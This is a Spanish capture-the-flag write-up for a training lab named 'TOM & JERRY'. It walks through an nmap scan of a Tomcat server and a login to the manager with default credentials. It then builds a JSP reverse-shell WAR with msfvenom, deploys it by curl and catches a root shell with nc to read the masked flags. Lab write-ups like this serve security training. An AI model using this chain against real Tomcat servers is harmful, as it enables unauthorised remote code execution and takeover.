

Solución al lab **TOM & JERRY** (nivel medio)

```
chifay@kali: ~/Whoami-Labs/TOM & JERRY
Session Actions Edit View Help

WHOAMI-LABS.COM

Bienvenido a WHOAMI-LABS.COM.
Aprende, simula, escala. Sin burocracia.

[*] Cargando imagen desde tom_jerry.tar...
[+] Imagen cargada exitosamente

[*] Iniciando laboratorio...

[v] Laboratorio desplegado correctamente.

LAB: TOM & JERRY
DIFICULTAD: ★★☆☆☆☆ medio (3 puntos)

IP del laboratorio: 172.17.0.2

Ingresa la USER flag (formato FLAG{... }):
```

Iniciamos con un escaneo de puertos con nmap

```
chifay@kali: ~/Whoami-Labs/TOM & JERRY
chifay@kali: ~/Whoami-Labs/TOM & JERRY

(chifay@kali)~[~/Whoami-Labs/TOM & JERRY]
$ nmap -p- -sV -sC -sS -vvv -n -Pn --min-rate=5000 172.17.0.2 -oN nmap_tom_jerry
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-07 13:37 -0600

PORT      STATE SERVICE REASON          VERSION
8009/tcp  open  ajp13    syn-ack ttl 64 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp  open  http     syn-ack ttl 64 Apache Tomcat 8.5.50
|_http-title: Apache Tomcat/8.5.50
|_http-methods:
|_ Supported Methods: GET HEAD POST
|_http-favicon: Apache Tomcat
MAC Address: 96:86:D7:C8:1C:CB (Unknown)
```

Puertos y Servicios Detectados

Puerto	Servicio	Versión
8009/tcp	AJP13	Apache Jserv (Protocol v1.3)
8080/tcp	HTTP	Apache Tomcat 8.5.50

Vamos a analizar primero el servidor tomcat

Probemos entrar al manager con las credenciales por defecto

Path	Version	Display Name	Running	Sessions	Commands
/	None specified	Welcome to Tomcat	true	0	Start Stop Reload Undeploy Expire sessions with idle >= 30 minutes
/docs	None specified	Tomcat Documentation	true	0	Start Stop Reload Undeploy Expire sessions with idle >= 30 minutes
/examples	None specified	Servlet and JSP Examples	true	1	Start Stop Reload Undeploy Expire sessions with idle >= 30 minutes
/host-manager	None specified	Tomcat Host Manager Application	true	0	Start Stop Reload Undeploy

Conseguimos acceso, lo que significa que podemos **desplegar aplicaciones web (WAR)** y obtener ejecución remota de comandos.

Crear un payload JSP con msfvenom

```
(chifay@kali)-[~/Whoami-Labs/TOM & JERRY]
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.17.0.1 LPORT=4444 -f war -o shell.war
Payload size: 1095 bytes
Final size of war file: 1095 bytes
Saved as: shell.war

(chifay@kali)-[~/Whoami-Labs/TOM & JERRY]
$
```

Desplegar el WAR usando el Manager o con curl

```
(chifay@kali)-[~/Whoami-Labs/TOM & JERRY]
$ curl -u 'tomcat:s3cret' -T shell.war 'http://172.17.0.2:8080/manager/text/deploy?path=/shell&update=true'
OK - Deployed application at context path [/shell]

(chifay@kali)-[~/Whoami-Labs/TOM & JERRY]
$
```

Configurar listener en Kali

```
chifay@kali: ~/Whoami-Labs/TOM & JERRY
Session Actions Edit View Help
chifay@kali: ~/Wh...-Labs/TOM_JERRY  chifay@kali: ~/Wh...-Labs/TOM_JERRY  chifay@kali: ~/Wh...-Labs/TOM_JERRY

(chifay@kali)-[~/Whoami-Labs/TOM & JERRY]
$ nc -lvnp 4444
listening on [any] 4444 ...
```

Ejecutar el payload

```
(chifay@kali)-[~/Whoami-Labs/TOM & JERRY]
$ curl http://172.17.0.2:8080/shell/

(chifay@kali)-[~/Whoami-Labs/TOM & JERRY]
$
```

Verificación del Reverse Shell

```
chifay@kali: ~/Whoami-Labs/TOM & JERRY
Session Actions Edit View Help
chifay@kali: ~/Wh...-Labs/TOM_JERRY  chifay@kali: ~/Wh...-Labs/TOM_JERRY  chifay@kali: ~/Wh...-Labs/TOM_JERRY

(chifay@kali)-[~/Whoami-Labs/TOM & JERRY]
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 59718
whoami
root
```

Como podemos ver con el comando `whoami` nos responde `root`, ahora ya podemos buscar la bandera del usuario y de `root`

```
ls -al /home
total 12
drwxr-xr-x 1 root root 4096 Jan 16 2026 .
drwxr-xr-x 1 root root 4096 Aug 7 19:35 ..
drwxr-xr-x 1 root root 4096 Jan 16 2026 jerry
ls -al /home/jerry
total 12
drwxr-xr-x 1 root root 4096 Jan 16 2026 .
drwxr-xr-x 1 root root 4096 Jan 16 2026 ..
drwxr-xr-x 1 root root 4096 Jan 16 2026 Desktop
ls -al /home/jerry/Desktop
total 12
drwxr-xr-x 1 root root 4096 Jan 16 2026 .
drwxr-xr-x 1 root root 4096 Jan 16 2026 ..
-rw-r--r-- 1 root root 29 Jan 16 2026 user.txt
cat /home/jerry/Desktop/user.txt
FLAG{XXXXXXXXXX}
```

Hemos encontrado la bandera del usuario, vamos a buscar la bandera de root

```
ls -al /root
total 20
drwx----- 1 root root 4096 Jan 16 2026 .
drwxr-xr-x 1 root root 4096 Aug 7 19:35 ..
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwxr-xr-x 1 root root 4096 Jan 16 2026 Desktop
ls -al /root/Desktop
total 12
drwxr-xr-x 1 root root 4096 Jan 16 2026 .
drwx----- 1 root root 4096 Jan 16 2026 ..
-rw-r--r-- 1 root root 28 Jan 16 2026 root.txt
cat /root/Desktop/root.txt
FLAG{XXXXXXXXXX}
```

Verificación de ambas banderas

```
chifay@kali: ~/Whoami-Labs/TOM & JERRY
Session Actions Edit View Help
chifay@kali: ~/Whoami-Labs/TOM_JERRY x chifay@kali: ~/Whoami-Labs/TOM_JERRY x chifay@kali: ~/Whoami-Labs/TOM_JERRY x

[*] Cargando imagen desde tom_jerry.tar...
[+] Imagen cargada exitosamente

[*] Iniciando laboratorio...

[v] Laboratorio desplegado correctamente.

LAB: TOM & JERRY
DIFICULTAD: ***☆☆☆☆ medio (3 puntos)

IP del laboratorio: 172.17.0.2
Ingresa la USER flag (formato FLAG{...}): FLAG{XXXXXXXXXX}
[v] User flag correcta.
Ingresa la ROOT flag (formato FLAG{...}): FLAG{XXXXXXXXXX}
¡Felicitaciones hacker! Has pwneado TOM & JERRY.
FECHA Y HORA: 2026-08-07 15:04:16 -0600

[*] Presiona Ctrl+C para eliminar el laboratorio
```